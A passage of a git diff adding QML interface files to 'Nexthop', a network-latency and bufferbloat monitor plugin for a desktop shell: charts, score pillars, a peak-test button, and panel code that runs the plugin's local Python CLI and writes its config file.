steadiest tails hold + // the seats and feed the score; the rest idle at a tenth of the rate. + Column { + width: parent.width + visible: tab.panel.instrumentsExpanded + height: visible ? implicitHeight : 0 + spacing: Style.space(6) + + Repeater { + model: tab.panel.live && tab.panel.live.instruments + ? tab.panel.live.instruments : [] + + Row { + id: instRow + required property var modelData + width: parent.width + spacing: Style.space(8) + + Rectangle { + width: Style.space(5) + height: Style.space(5) + color: instRow.modelData.active ? tab.panel.okTone : tab.panel.dim + anchors.verticalCenter: parent.verticalCenter + } + Text { + textFormat: Text.PlainText + width: parent.width - Style.space(5) - Style.space(60) + - Style.space(56) - Style.space(74) - Style.space(8) * 4 + text: instRow.modelData.kind + " \u00b7 " + instRow.modelData.target + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + elide: Text.ElideMiddle + } + Text { + textFormat: Text.PlainText + width: Style.space(60) + horizontalAlignment: Text.AlignRight + text: instRow.modelData.p50 !== null && instRow.modelData.p50 !== undefined + ? instRow.modelData.p50.toFixed(1) + " ms" : "--" + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + Text { + textFormat: Text.PlainText + width: Style.space(56) + horizontalAlignment: Text.AlignRight + text: { + var l = instRow.modelData.loss + return l !== null && l !== undefined ? (l * 100).toFixed(1) + "%" : "--" + } + color: instRow.modelData.loss ? tab.panel.warnTone : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + Text { + textFormat: Text.PlainText + width: Style.space(74) + horizontalAlignment: Text.AlignRight + text: instRow.modelData.active ? "scored" + : instRow.modelData.quarantined ? "quarantined" : "standby" + color: instRow.modelData.active ? tab.panel.okTone : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + } + } + + Text { + textFormat: Text.PlainText + visible: tab.panel.instrumentsExpanded + height: visible ? implicitHeight : 0 + width: parent.width + text: "Two instruments feed the score at a time, re-ranked every five " + + "minutes on loss and tail stability \u2014 one bad anchor cannot " + + "poison the number." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + PanelSeparator { width: parent.width } + + // ---- latency under load (bufferbloat) ----------------------------------- + Item { + width: parent.width + height: loadLabel.implicitHeight + + Text { + id: loadLabel + textFormat: Text.PlainText + text: "LATENCY UNDER LOAD" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: tab.loadTestUsable ? "measured during the last peak test" : "" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + PanelSeparator { width: parent.width } + + Text { + textFormat: Text.PlainText + visible: !tab.loadTestUsable + width: parent.width + text: tab.loadTest && !tab.loadTestUsable + ? "The last peak test read a lower latency under load than at rest, " + + "which is not something a busy link can do — so it is not graded. " + + "Run another and it should settle." + : "No measurement yet — run a peak test and the probes will time the " + + "connection while it is saturated." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + wrapMode: Text.WordWrap + } + + Row { + width: parent.width + visible: tab.loadTestUsable + spacing: Style.space(12) + + Column { + width: parent.width - gradeCol.width - Style.space(12) + spacing: Style.space(6) + anchors.verticalCenter: parent.verticalCenter + + readonly property real scaleMs: tab.loadTest + ? Math.max(1, Math.max(tab.loadTest.ping_idle, tab.loadTest.ping_loaded) * 2.2) + : 1 + + component LoadBar: Row { + property string label: "" + property var ms: null + property color tint: tab.panel.okTone + width: parent.width + spacing: Style.space(9) + + Text { + textFormat: Text.PlainText + width: Style.space(44) + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + anchors.verticalCenter: parent.verticalCenter + } + Rectangle { + width: parent.width - Style.space(44) - Style.space(52) - Style.space(9) * 2 + height: Style.space(8) + color: Qt.rgba(tab.panel.fg.r, tab.panel.fg.g, tab.panel.fg.b, 0.10) + anchors.verticalCenter: parent.verticalCenter + + Rectangle { + height: parent.height + width: parent.width * (parent.parent.ms !== null + ? Math.min(1, parent.parent.ms / parent.parent.parent.scaleMs) : 0) + color: parent.parent.tint + } + } + Text { + textFormat: Text.PlainText + width: Style.space(52) + horizontalAlignment: Text.AlignRight + text: parent.ms !== null ? Math.round(parent.ms) + " ms" : "--" + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + anchors.verticalCenter: parent.verticalCenter + } + } + + LoadBar { + label: "idle" + ms: tab.loadTest ? tab.loadTest.ping_idle : null + tint: tab.panel.okTone + } + LoadBar { + label: "loaded" + ms: tab.loadTest ? tab.loadTest.ping_loaded : null + tint: tab.addedMs < 30 ? tab.panel.okTone : tab.panel.warnTone + } + } + + Column { + id: gradeCol + width: Style.space(76) + spacing: Style.space(2) + anchors.verticalCenter: parent.verticalCenter + + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: tab.bloatGrade + color: tab.bloatTone + font.family: tab.panel.fontFamily + font.pixelSize: Style.fontPx(1.7) + font.weight: Font.Bold + } + Text { + textFormat: Text.PlainText + anchors.horizontalCenter: parent.horizontalCenter + text: "BUFFERBLOAT" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + } + } + + Text { + textFormat: Text.PlainText + visible: tab.loadTestUsable + width: parent.width + text: "+" + Math.round(tab.addedMs) + " ms added under full load. Below 30 ms " + + "a video call stays clean while someone else is downloading." + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + wrapMode: Text.WordWrap + } + + // ---- under load, from the traffic you were already sending ------------- + // The block above needs a peak test. This one needs nothing: every probe + // carries whether the link was busy when it landed, so the same samples + // answer both "how bad does it get while in use" and "how fast does it + // recover" without generating a byte. + PanelSeparator { width: parent.width; visible: !!tab.underLoad } + + // Folded shut like the bench above it: adding a table and a note pushed + // the tab past the panel's height again, and the collapsed line already + // carries the two numbers worth reading. + Item { + width: parent.width + visible: !!tab.underLoad + height: visible ? ulHeader.implicitHeight : 0 + + Text { + id: ulHeader + textFormat: Text.PlainText + text: "WHILE YOU WERE USING IT \u00b7 " + (tab.panel.underLoadExpanded + ? "LAST 5 MIN" : tab.underLoadSummary) + color: ulHover.hovered ? tab.panel.fg : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + anchors.verticalCenter: ulHeader.verticalCenter + text: tab.panel.underLoadExpanded ? "\u{f0140}" : "\u{f0142}" + color: ulHover.hovered ? tab.panel.fg : tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + HoverHandler { id: ulHover } + TapHandler { + onTapped: tab.panel.underLoadExpanded = !tab.panel.underLoadExpanded + } + } + + Grid { + width: parent.width + visible: !!tab.underLoad && tab.panel.underLoadExpanded + height: visible ? implicitHeight : 0 + columns: 3 + columnSpacing: Style.space(14) + rowSpacing: Style.space(6) + + readonly property real cell: (width - Style.space(14) * 2) / 3 + readonly property var u: tab.underLoad + + + StatHead { width: parent.cell; text: "PROBES"; horizontalAlignment: Text.AlignLeft } + StatHead { width: parent.cell; text: "TYPICAL" } + StatHead { width: parent.cell; text: "WORST" } + + StatName { width: parent.cell; text: "while busy" } + StatVal { + width: parent.cell + text: tab.ms(parent.u ? parent.u.loaded_p50 : null) + } + // Scoped to the samples taken under load, so a short burst is not + // averaged away by the quiet either side of it — which is what the + // headline 30 s window does to it. + StatVal { + width: parent.cell + text: tab.ms(parent.u ? parent.u.loaded_p95 : null) + color: parent.u && parent.u.loaded_p95 > 100 + ? tab.panel.warnTone : tab.panel.fg + } + + StatName { width: parent.cell; text: "while quiet" } + StatVal { + width: parent.cell + text: tab.ms(parent.u ? parent.u.idle_p50 : null) + } + StatVal { width: parent.cell; text: "\u2014" } + } + + Text { + textFormat: Text.PlainText + visible: !!tab.underLoad && tab.panel.underLoadExpanded + height: visible ? implicitHeight : 0 + width: parent.width + wrapMode: Text.WordWrap + text: tab.underLoadNote + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } +} diff --git a/plugins/io.github.x3me.nexthop/LegChart.qml b/plugins/io.github.x3me.nexthop/LegChart.qml new file mode 100644 index 0000000..fed57d8 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/LegChart.qml @@ -0,0 +1,195 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import "readout.js" as Readout + +// The two-leg latency chart: local leg as a dim band from the baseline, wan +// leg stacked on top in the accent colour, loss as ticks along the floor. +// Stacking is the point — the top line is the latency you feel, and the +// split says which side of the router owns it. +// +// `points` is an array of {t, local, total, loss} — local/total in ms or +// null, loss 0..1 or null. X is time, so a suspend shows as a gap. +Canvas { + id: chart + + property var points: [] + property color wanColor: Color.accent + property color localColor: Color.muted + property color lossColor: Color.urgent + property color axisColor: Qt.rgba(Color.popups.text.r, Color.popups.text.g, + Color.popups.text.b, 0.15) + property real minScaleMs: 20 + // Larger charts label their scale; the compact overview chart stays clean. + property bool showScale: false + property string fontFamily: Style.font.family + // Hover crosshair with the values under the cursor. -1 = no hover. + property real hoverX: -1 + property color readoutBg: Color.popups.background + property color readoutFg: Color.popups.text + + readonly property real peakMs: { + var peak = 0 + for (var i = 0; i < points.length; i++) { + var p = points[i] + if (p.total !== null && p.total !== undefined) peak = Math.max(peak, p.total) + } + return Math.max(minScaleMs, peak) * 1.08 + } + + onPointsChanged: requestPaint() + onWidthChanged: requestPaint() + onHeightChanged: requestPaint() + onWanColorChanged: requestPaint() + onHoverXChanged: requestPaint() + + HoverHandler { + onPointChanged: chart.hoverX = hovered ? point.position.x : -1 + onHoveredChanged: if (!hovered) chart.hoverX = -1 + } + + onPaint: { + var ctx = getContext("2d") + ctx.reset() + ctx.clearRect(0, 0, width, height) + + var top = 2, bottom = height - 1 + + ctx.strokeStyle = axisColor + ctx.lineWidth = 1 + ctx.beginPath() + ctx.moveTo(0, bottom + 0.5) + ctx.lineTo(width, bottom + 0.5) + ctx.stroke() + + if (showScale) { + // Quarter gridlines plus the top-of-scale label, so a quiet line + // reads as "3 ms on a 10 ms scale" rather than as an empty box. + // Barely-there on purpose: they are reference, not content — and + // Qt.rgba here sets an absolute alpha, so this must be far below + // the baseline's 0.15, not a multiplier of it. + ctx.strokeStyle = Qt.rgba(axisColor.r, axisColor.g, axisColor.b, 0.05) + for (var g = 1; g <= 3; g++) { + var gy = Math.round(bottom - (bottom - top) * g / 4) + 0.5 + ctx.beginPath() + ctx.moveTo(0, gy) + ctx.lineTo(width, gy) + ctx.stroke() + } + ctx.fillStyle = Qt.rgba(localColor.r, localColor.g, localColor.b, 0.9) + ctx.font = "10px " + fontFamily + ctx.textBaseline = "top" + ctx.fillText(Math.round(peakMs) + " ms", 4, 3) + } + + var pts = points + if (!pts || pts.length < 2) return + + var t0 = pts[0].t, t1 = pts[pts.length - 1].t + var span = Math.max(1, t1 - t0) + var peak = peakMs + + function xAt(t) { return (t - t0) * (width - 1) / span } + function yAt(ms) { return bottom - (bottom - top) * Math.max(0, ms) / peak } + + // Runs of consecutive non-null samples paint as separate segments so a + // gap in the data is a gap on screen, not a line drawn through it. + function runs(key) { + var out = [], current = [] + for (var i = 0; i < pts.length; i++) { + var v = pts[i][key] + if (v === null || v === undefined) { + if (current.length > 1) out.push(current) + current = [] + } else { + current.push([xAt(pts[i].t), yAt(v)]) + } + } + if (current.length > 1) out.push(current) + return out + } + + function area(run, tint, alpha) { + ctx.beginPath() + ctx.moveTo(run[0][0], bottom) + for (var i = 0; i < run.length; i++) ctx.lineTo(run[i][0], run[i][1]) + ctx.lineTo(run[run.length - 1][0], bottom) + ctx.closePath() + ctx.fillStyle = Qt.rgba(tint.r, tint.g, tint.b, alpha) + ctx.fill() + } + + function line(run, tint, w) { + ctx.beginPath() + for (var i = 0; i < run.length; i++) { + if (i === 0) ctx.moveTo(run[i][0], run[i][1]) + else ctx.lineTo(run[i][0], run[i][1]) + } + ctx.strokeStyle = tint + ctx.lineWidth = w + ctx.stroke() + } + + var i, r + var totalRuns = runs("total") + for (i = 0; i < totalRuns.length; i++) { + r = totalRuns[i] + area(r, wanColor, 0.20) + line(r, wanColor, 1.5) + } + var localRuns = runs("local") + for (i = 0; i < localRuns.length; i++) { + r = localRuns[i] + area(r, localColor, 0.5) + line(r, localColor, 1) + } + + ctx.fillStyle = lossColor + for (i = 0; i < pts.length; i++) { + if (pts[i].loss !== null && pts[i].loss !== undefined && pts[i].loss > 0) + ctx.fillRect(xAt(pts[i].t) - 1, bottom - 8, 2, 8) + } + + // Hover crosshair: nearest sample by time, values in a readout box. + if (hoverX >= 0) { + var tAt = t0 + hoverX * span / (width - 1) + var best = null, bestD = Infinity + for (i = 0; i < pts.length; i++) { + var d = Math.abs(pts[i].t - tAt) + if (d < bestD) { bestD = d; best = pts[i] } + } + if (best) { + var cx = xAt(best.t) + ctx.strokeStyle = Qt.rgba(readoutFg.r, readoutFg.g, readoutFg.b, 0.4) + ctx.lineWidth = 1 + ctx.beginPath() + ctx.moveTo(cx + 0.5, 0) + ctx.lineTo(cx + 0.5, bottom) + ctx.stroke() + + var parts = [Qt.formatTime(new Date(best.t * 1000), "HH:mm:ss")] + if (best.total !== null && best.total !== undefined) { + var local = best.local !== null && best.local !== undefined ? best.local : 0 + // Same rule the daemon applies to the leg figures: if the router + // answered slower than the internet behind it, total = local + wan + // does not hold and the subtraction says nothing. Clamping the + // negative to zero printed "wan 0.0 ms" — a perfect ISP leg from + // an invalid measurement. + parts.push(local > best.total + 1.0 + ? "wan \u2014" + : "wan " + Math.max(0, best.total - local).toFixed(1) + " ms") + parts.push("local " + local.toFixed(1) + " ms") + } else { + parts.push("no data") + } + if (best.loss !== null && best.loss !== undefined && best.loss > 0) + parts.push("loss " + Math.round(best.loss * 100) + "%") + var label = parts.join(" · ") + + Readout.draw(ctx, fontFamily, label, cx, width, + readoutFg, readoutBg) + } + } + } +} diff --git a/plugins/io.github.x3me.nexthop/OverviewTab.qml b/plugins/io.github.x3me.nexthop/OverviewTab.qml new file mode 100644 index 0000000..764a374 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/OverviewTab.qml @@ -0,0 +1,341 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import qs.Commons +import qs.Ui +import "format.js" as Fmt + +// The default tab: is it me or is it them, in one glance. +Column { + id: tab + + required property var panel + readonly property var live: panel.live + + spacing: Style.space(12) + + readonly property bool outage: live + && (live.state === "wan-down" || live.state === "local-down") + + // Same shape the bar shows, so the two agree at a glance. + function elapsed(since) { + if (!since) return "" + var s = Math.max(0, Math.round(Date.now() / 1000 - since)) + var m = Math.floor(s / 60) + return m > 0 ? m + "m" + (s % 60) + "s" : s + "s" + } + + // Only on a captive network, so it costs no height the rest of the time. + // It goes first because it is the one thing worth reading here: without + // it, every number below is the portal answering rather than the + // connection, and the panel would be blaming the router for a sign-in + // page. + Text { + textFormat: Text.PlainText + visible: tab.live && tab.live.state === "captive" + height: visible ? implicitHeight : 0 + width: parent.width + wrapMode: Text.WordWrap + text: "This network wants you to sign in. Something here is answering " + + "for the internet, so treat the numbers below as the sign-in page, " + + "not your connection." + color: tab.panel.warnTone + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + + Text { + textFormat: Text.PlainText + text: "PATH" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + + PathChain { + width: parent.width + live: tab.live + panel: tab.panel + anchor: tab.panel.setting("internetAnchor", "1.1.1.1") + textColor: tab.panel.fg + dimColor: tab.panel.dim + } + + // Lag summary line, Orb vocabulary: best / typical / worst. + Item { + width: parent.width + height: lagLabel.implicitHeight + + Text { + id: lagLabel + textFormat: Text.PlainText + text: "LAG" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: { + var l = tab.live + if (!l || !l.lag) return "--" + // The band is null when the whole window was lost. `lag.now` is + // still 1500 there because Responsiveness needs an anchor to land + // on, but 1500 is not a round trip and printing it three times + // said the link was replying slowly when it was not replying. + if (l.lag.typical === null || l.lag.typical === undefined) + return tab.outage ? "no reply" : "--" + var best = l.lag.best !== null ? Math.round(l.lag.best) : "--" + var worst = l.lag.worst !== null ? Math.round(l.lag.worst) : "--" + return "best " + best + " · typical " + Math.round(l.lag.typical) + + " ms · worst " + worst + } + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + } + + PanelSeparator { width: parent.width } + + // The three pillars. + Row { + width: parent.width + spacing: Style.space(14) + + readonly property real cell: (width - Style.space(14) * 2) / 3 + readonly property var scores: tab.live && tab.live.scores ? tab.live.scores : {} + + ScorePillar { + width: parent.cell + label: "RESPONSIVENESS" + value: parent.scores.responsiveness !== undefined ? parent.scores.responsiveness : null + note: { + var l = tab.live + if (!l || !l.lag) return "no data yet" + if (l.lag.typical === null || l.lag.typical === undefined) + return tab.outage ? "nothing is answering" : "no data yet" + return "lag " + Math.round(l.lag.typical) + " ms typical" + } + textColor: tab.panel.fg + dimColor: tab.panel.dim + } + ScorePillar { + width: parent.cell + label: "RELIABILITY" + value: parent.scores.reliability !== undefined ? parent.scores.reliability : null + // A 24-hour score barely moves in the first minute of an outage, so + // the number stays 100 and is honest. Green is not: it reads as + // reassurance next to a dead link. The caption carries the live fact + // instead of restating the window, and it is short enough to fit — + // the previous wording truncated mid-word in this column. + toneOverride: tab.outage ? tab.panel.warnTone : null + note: { + var l = tab.live + if (!l) return "" + if (l.state === "captive") return "not signed in yet" + if (tab.outage) { + var d = tab.elapsed(l.down_since) + return d ? "down " + d : "outage now" + } + return "last 24 h" + } + textColor: tab.panel.fg + dimColor: tab.panel.dim + } + ScorePillar { + width: parent.cell + label: "SPEED" + value: parent.scores.speed !== undefined ? parent.scores.speed : null + // A figure the index is ignoring must not shout in red as though it + // were the verdict — it is being reported, not counted. + toneOverride: { + var c = tab.live ? tab.live.speed_ctx : null + return c && c.scored === false ? tab.panel.dim : null + } + note: { + // Say why it is blank, or the pause reads as a fault. This is the + // whole point of detecting the hotspot: the checks are ~14 MB each + // and hourly, which is data the user did not offer. + var m = tab.live ? tab.live.metered : null + var ctx = tab.live ? tab.live.speed_ctx : null + var held = m && m.care + if (!ctx || ctx.last_down === null || ctx.last_down === undefined) + return held ? "checks paused on " + m.label : "no content check yet" + var mbps = Math.round(ctx.last_down) + " Mbps" + // No content check runs while the line is down, so this figure is + // from before it. Saying "measured" would imply it is current. + if (tab.outage) return mbps + " before the drop" + if (held) return mbps + " · checks paused" + if (ctx.basis === "plan") + return mbps + " vs " + Math.round(ctx.plan_down) + " plan" + // Not counted, and why. One check is the arrival check on a link + // that may still have been settling; a peak test that read far + // higher has already disproved this figure. + // Kept inside the column: "63 Mbps · usually 384" is the widest + // caption that fits here, so anything longer elides mid-word. The + // dim number already says it is not counted; this says why. + if (ctx.scored === false) { + if (ctx.peak_down) + return mbps + " · test: " + Math.round(ctx.peak_down) + return mbps + " · unconfirmed" + } + if (ctx.baseline_down && ctx.last_down < ctx.baseline_down * 0.6) + return mbps + " · usually " + Math.round(ctx.baseline_down) + return mbps + " measured" + } + textColor: tab.panel.fg + dimColor: tab.panel.dim + } + } + + PanelSeparator { width: parent.width } + + // 30-minute latency chart from recent.json. + Item { + width: parent.width + height: chartLabel.implicitHeight + + Text { + id: chartLabel + textFormat: Text.PlainText + text: "LATENCY · LAST 30 MIN" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Text { + textFormat: Text.PlainText + anchors.right: parent.right + text: { + var l = tab.live + if (!l || !l.total || l.total.p50 === null) return "" + return "p50 " + Math.round(l.total.p50) + " ms · p95 " + + Math.round(l.total.p95) + " ms · jitter " + + (l.total.jitter !== null ? l.total.jitter.toFixed(1) : "--") + " ms" + } + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + } + } + + LegChart { + width: parent.width + height: Style.space(96) + points: tab.panel.recentPoints + wanColor: Color.accent + localColor: tab.panel.dim + showScale: true + fontFamily: tab.panel.fontFamily + } + + Row { + spacing: Style.space(16) + + component LegendEntry: Row { + property color tint: "white" + property string label: "" + property bool tick: false + spacing: Style.space(6) + Rectangle { + width: parent.tick ? 2 : Style.space(10) + height: parent.tick ? Style.space(8) : 2 + color: parent.tint + anchors.verticalCenter: parent.verticalCenter + } + Text { + textFormat: Text.PlainText + text: parent.label + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + anchors.verticalCenter: parent.verticalCenter + } + } + + LegendEntry { tint: Color.accent; label: "wan leg" } + LegendEntry { tint: tab.panel.dim; label: "local leg" } + LegendEntry { tint: Color.urgent; label: "packet loss"; tick: true } + } + + PanelSeparator { width: parent.width } + + // Speed strip + the run button. + Item { + width: parent.width + height: speedCol.implicitHeight + + Column { + id: speedCol + spacing: Style.space(4) + + Text { + textFormat: Text.PlainText + text: "THROUGHPUT NOW" + color: tab.panel.dim + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.caption + font.letterSpacing: 1 + } + Row { + spacing: Style.space(14) + + Text { + textFormat: Text.PlainText + text: { + var r = tab.live && tab.live.rates ? tab.live.rates.rx_bps : null + return "󰇚 " + Fmt.rate(r) + } + color: Color.accent + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.subtitle + } + Text { + textFormat: Text.PlainText + text: { + var r = tab.live && tab.live.rates ? tab.live.rates.tx_bps : null + return "󰕒 " + Fmt.rate(r) + } + color: tab.panel.warnTone + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.subtitle + } + } + } + + Rectangle { + anchors.right: parent.right + anchors.verticalCenter: parent.verticalCenter + width: runLabel.implicitWidth + Style.space(24) + height: Style.space(28) + color: runHover.hovered + ? Style.hoverFillFor(tab.panel.fg, Color.accent) + : Style.normalFillFor(tab.panel.fg, Color.accent) + border.width: Style.normalBorderWidth + border.color: Style.normalBorderFor(tab.panel.fg, Color.accent) + + Text { + id: runLabel + textFormat: Text.PlainText + anchors.centerIn: parent + text: tab.live && tab.live.peak_running ? "󰓅 Testing…" + : tab.panel.peakArmed ? "󰓅 Uses data · press again" + : "󰓅 Run test" + color: tab.panel.fg + font.family: tab.panel.fontFamily + font.pixelSize: Style.font.bodySmall + } + HoverHandler { id: runHover } + TapHandler { + enabled: !(tab.live && tab.live.peak_running) + onTapped: tab.panel.runPeakTest() + } + } + } + +} diff --git a/plugins/io.github.x3me.nexthop/Panel.qml b/plugins/io.github.x3me.nexthop/Panel.qml new file mode 100644 index 0000000..7009924 --- /dev/null +++ b/plugins/io.github.x3me.nexthop/Panel.qml @@ -0,0 +1,558 @@ +pragma ComponentBehavior: Bound + +import QtQuick +import Quickshell +import Quickshell.Io +import qs.Commons +import qs.Ui + +// The Nexthop panel: header verdict, seven tabs, one alive at a time. +// +// All data arrives through files the daemon writes, but never through a +// file handle the shell holds: `nexthop stream` reads live.json (the +// always-current numbers), apps.json and recent.json (the default graphs) +// and feeds them here as lines, and `nexthop query` runs on demand when a +// tab asks for a longer window. The panel never probes anything itself. +Panel { + id: root + moduleName: "io.github.x3me.nexthop" + ipcTarget: "io.github.x3me.nexthop" + manageIpc: false + + property var anchorItem: null + property var hostWidget: null + readonly property var barIdentity: hostWidget || root + + // ---- palette ------------------------------------------------------------- + readonly property color fg: bar ? bar.foreground : Color.popups.text + readonly property color dim: Color.muted + readonly property string fontFamily: bar ? bar.fontFamily : Style.font.family + readonly property color okTone: "#9ece6a" + readonly property color warnTone: "#e0af68" + + // Right-now congestion, from score.pressure: the fast channel the index + // cannot be. Empty unless it is worth saying. + readonly property string pressureSuffix: { + var p = live && live.pressure ? live.pressure : null + if (!p || !p.state || p.state === "clear") return "" + return " \u00b7 " + p.state.toUpperCase() + } + + // Disclosure state for the panel's optional detail blocks. Lives here, not + // on the tab, so moving between tabs does not fold them shut again. Resets + // with the shell, which is the right lifetime for a view preference. + property bool instrumentsExpanded: false + property bool wanDetailOpen: false + property bool underLoadExpanded: false + + // A newer version is published. The daemon only ever reports this; the + // panel only ever mentions it. Updating stays with `omarchy plugin update`, + // which shows the diff and asks. + readonly property bool updateAvailable: + !!(live && live.update && live.update.available) + + function updateTip() { + return "A newer version of Nexthop is published.\n\n" + + "omarchy plugin update io.github.x3me.nexthop\n\n" + + "That shows you what changed before applying it. " + + "These checks can be turned off in the panel's Setup tab (the cog)." + } + + function bandColor(idx) { + if (idx === null || idx === undefined) return dim + if (idx >= 80) return okTone + if (idx >= 50) return warnTone + return Color.urgent + } + + // ---- state files --------------------------------------------------------- + readonly property string stateDir: { + var base = Quickshell.env("XDG_STATE_HOME") + if (!base || base.length === 0) base = Quickshell.env("HOME") + "/.local/state" + return base + "/nexthop" + } + // A URL, not a path: percent-encoded, so decode before it is used as a + // filesystem path or a space in the way becomes %20 and cd fails — the + // same form BarWidget and Service already use. + readonly property string pluginDir: + decodeURIComponent(Qt.resolvedUrl(".").toString()) + .replace(/^file:\/\//, "").replace(/\/$/, "") + + // The panel opens no file of its own. The bar widget that creates it + // owns the single `nexthop stream` reader — a bounded, non-blocking, + // no-follow, regular-file-only read out in a small helper — and the + // panel binds to what it already parsed. + readonly property var live: hostWidget ? hostWidget.live : null + readonly property var recent: hostWidget ? hostWidget.recent : null + readonly property var appsData: hostWidget ? hostWidget.appsData : null + // The bar widget keeps the clock; a snapshot it calls stale is history, + // not a verdict, and the header must not present it as one. The tabs + // keep drawing it — history is what they show anyway. + readonly property bool stale: hostWidget ? hostWidget.stale === true : false + readonly property int staleForS: hostWidget ? hostWidget.staleForS : 0 + + // recent.json points, trimmed to the slots that actually have data. + readonly property var recentPoints: { + if (!recent || !recent.points) return [] + var pts = recent.points + var first = -1 + for (var i = 0; i < pts.length; i++) { + if (pts[i].total !== null) { first = i; break } + } + return first < 0 ? [] : pts.slice(first) + } + + // ---- daemon config ------------------------------------------------------- + // Settings live in shell.json; the daemon can't read that, so mirror the + // keys it cares about into its config file whenever they change. + onSettingsChanged: writeDaemonConfig() + Component.onCompleted: writeDaemonConfig() + + function writeDaemonConfig() { + var cfg = { + internetAnchor: setting("internetAnchor", "1.1.1.1"), + probeIntervalMs: setting("probeIntervalMs", 500), + contentSpeed: setting("contentSpeed", true), + contentSpeedIntervalMin: setting("contentSpeedIntervalMin", 60), + peakEngine: setting("peakEngine", "Auto"), + planDownMbps: setting("planDownMbps", 0), + planUpMbps: setting("planUpMbps", 0), + notifyOutage: setting("notifyOutage", true), + updateCheck: setting("updateCheck", true), + meteredCare: setting("meteredCare", true), + historyDays: setting("historyDays", 7), + throughputWindowS: setting("throughputWindowS", 3), + } + // Written atomically via mkstemp + rename — the same discipline the + // daemon's own writers use. A shell redirection here would be a + // truncating, symlink-following write at a predictable path: exactly + // the class the security review flagged on the lock file. + configWriter.command = ["python3", "-c", + "import os, sys, tempfile\n" + + "d = sys.argv[2]\n" + + "os.makedirs(d, mode=0o700, exist_ok=True)\n" + + "fd, tmp = tempfile.mkstemp(dir=d)\n" + + "try:\n" + + " os.write(fd, sys.argv[1].encode())\n" + + " os.close(fd)\n" + + " os.replace(tmp, os.path.join(d, 'config.json'))\n" + + "except BaseException:\n" + + " os.unlink(tmp)\n" + + " raise\n", + JSON.stringify(cfg), stateDir] + configWriter.running = true + } + + Process { id: configWriter } + + // ---- history queries ----------------------------------------------------- + // Tabs ask for a window; results land in `history` tagged by the request. + property var history: null + property string historyWindow: "" + property bool historyLoading: false + + function requestHistory(window) { + historyWindow = window + historyLoading = true + historyProc.command = ["sh", "-c", + "cd \"$1\" && exec python3 -m nexthopd.cli query --window \"$2\"", + "sh", pluginDir, window] + historyProc.running = true + } + + Process { + id: historyProc + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { + root.historyLoading = false + try { root.history = JSON.parse(text) } catch (e) { root.history = null } + } + } + } + + property var testsData: null + function requestTests() { + testsProc.command = ["sh", "-c", + "cd \"$1\" && exec python3 -m nexthopd.cli tests --limit 24", + "sh", pluginDir] + testsProc.running = true + } + Process { + id: testsProc + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { try { root.testsData = JSON.parse(text) } catch (e) {} } + } + } + + property var eventsData: null + function requestEvents(window) { + eventsProc.command = ["sh", "-c", + "cd \"$1\" && exec python3 -m nexthopd.cli events --window \"$2\"", + "sh", pluginDir, window || "7d"] + eventsProc.running = true + } + Process { + id: eventsProc + stdout: StdioCollector { + waitForEnd: true + onStreamFinished: { try { root.eventsData = JSON.parse(text) } catch (e) {} } + } + } + + // A phone sharing its data, and whether we are being careful with it. + readonly property var metered: live && live.metered ? live.metered : null + readonly property bool meteredCare: !!(metered && metered.care) + + // The peak test is sized to saturate the link for a fixed duration, not + // to a fixed size, so it costs whatever the connection can carry: 285 MB + // measured on a fibre line, tens of megabytes on a phone. It also fires + // from a middle-click on the bar, which is easy to hit by accident. So on + // a metered link the first press arms it and the second runs it — never + // blocked, because measuring the cellular link is sometimes exactly what + // you want. + property bool peakArmed: false + + Timer { + id: peakDisarm + interval: 8000 + onTriggered: root.peakArmed = false + } + + function runPeakTest() { + if (meteredCare && !peakArmed) { + peakArmed = true + peakDisarm.restart() + return + } + peakArmed = false + peakDisarm.stop() + peakProc.command = ["sh", "-c", + "cd \"$1\" && exec python3 -m nexthopd.cli peak", "sh", pluginDir] + peakProc.running = true + } + Process { id: peakProc } + + function copyReport(window) { + 